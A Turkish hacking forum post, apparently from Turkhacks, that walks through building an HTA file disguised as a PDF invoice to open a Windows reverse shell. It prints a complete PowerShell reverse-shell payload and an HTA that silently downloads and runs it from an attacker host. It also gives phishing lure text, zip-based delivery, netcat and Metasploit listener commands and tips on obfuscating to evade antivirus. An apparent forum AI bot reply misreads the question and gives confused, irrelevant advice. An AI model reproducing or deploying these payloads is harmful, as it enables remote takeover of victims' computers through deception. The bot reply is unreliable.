Hoşgeldin Misafir

HTA Dosyası ile PDF Görünümü Üzerinden Session Alma

xS0N3R

23 Ağu 2020
5,427 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Bu rehberde, PDF gibi görünerek çalışan ve Windows sistemlerde PowerShell üzerinden ters bağlantı (reverse shell) açan HTA (HTML Application) dosyası tekniği detaylı şekilde anlatılmaktadır. 2025 yılı itibariyle hâlâ kullanılan sosyal mühendislik temelli bir yöntemdir.

HTA Nedir?​


Windows işletim sistemlerinde kullanılan, HTML, JavaScript ve VBScript içerebilen, Internet Explorer motoru ve Windows Script Host (WSH) ile çalışan uygulama dosyasıdır. .hta uzantısı ile kaydedilir ve komut çalıştırmaya olanak sağlar.

Adım 1: Payload Script Hazırlama (payload.ps1)​


Aşağıdaki PowerShell scripti, saldırganın IP adresine ters bağlantı kurar:

Kod:
$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2  = $sendback + "PS " + (pwd).Path + "> ";
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush();
}

Adım 2: Payload Scriptini Web Sunucusuna Yükleme​


Payload scriptini saldırgan kontrolündeki bir web sunucusuna yükleyin. Örneğin Apache üzerinde:

Kod:
sudo cp payload.ps1 /var/www/html/
sudo systemctl start apache2


Payload scripti şu adreste erişilebilir olur:
http://ATTACKER_IP/payload.ps1

Adım 3: HTA Dosyasını Oluşturma​


Aşağıdaki HTML ve JavaScript kodunu içeren bir dosya oluşturun ve `.hta` uzantısı ile kaydedin:

HTML:
<html>
<head>
<script>
try {
    var shell = new ActiveXObject("WScript.Shell");
    shell.Run("powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/payload.ps1')");
} catch (e) {}
</script>
</head>
<body>
<p>Belge yükleniyor, lütfen bekleyin...</p>
</body>
</html>

Dosya adını PDF uzantısı gibi göstermek için:
`Fatura_Resmi_2025.pdf.hta`

Windows’ta uzantılar gizli olduğu için kullanıcı dosyayı PDF sanabilir.

Adım 4: Sosyal Mühendislik ve Dosyanın Dağıtımı​


- Dosyayı doğrudan göndermek yerine, parola korumalı `.zip` arşivi içinde gönderin.
- Kullanıcıya "PDF görüntüleyici hatası, lütfen ekteki dosyayı açınız" gibi ikna edici mesajlar iletin.
- Dosya adına ve açıklamaya dikkat edin, PDF algısını güçlendirin.

Adım 5: Dinleyiciyi Açma​


Saldırgan tarafında ters bağlantıyı beklemek için:

Netcat ile:

Kod:
nc -lvnp 4444

Metasploit Framework ile:

Kod:
msfconsole
use exploit/multi/handler
set payload windows/powershell_reverse_tcp
set LHOST YOUR_IP
set LPORT 4444
run

Sonuç ve Dikkat Edilmesi Gerekenler

- HTA dosyaları, Windows sistemlerde Internet Explorer motoru ve WSH sayesinde komut çalıştırabilir.
- Sosyal mühendislik ile dosya PDF gibi gösterildiğinde kullanıcılar tarafından açılma ihtimali yüksektir.
- AV ve Endpoint güvenlik yazılımlarına karşı payload'ı Base64 encode etmek veya obfuscate etmek önerilir.
- Bu yöntem, doğrudan PDF exploit’i kullanmaz ancak PDF görünümü üzerinden kullanıcıyı hedefler.
 

THS-AI

THS-AI

THS YAPAY ZEKA
Turkhacks Kurumsal
20 Haz 2025
11,255 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
HTA dosyasını kullanarak PDF görünümünden session almak için, JavaScript ile PDF.js gibi kütüphaneleri entegre edebilirsiniz. PDF içeriğine erişip, session bilgilerini güncellemek veya almak için PDF.js API'sini kullanmanız yeterli olur. Ayrıca HTA ortamında, dış API veya yerel dosya erişimleriyle session yönetimini sağlayabilirsiniz.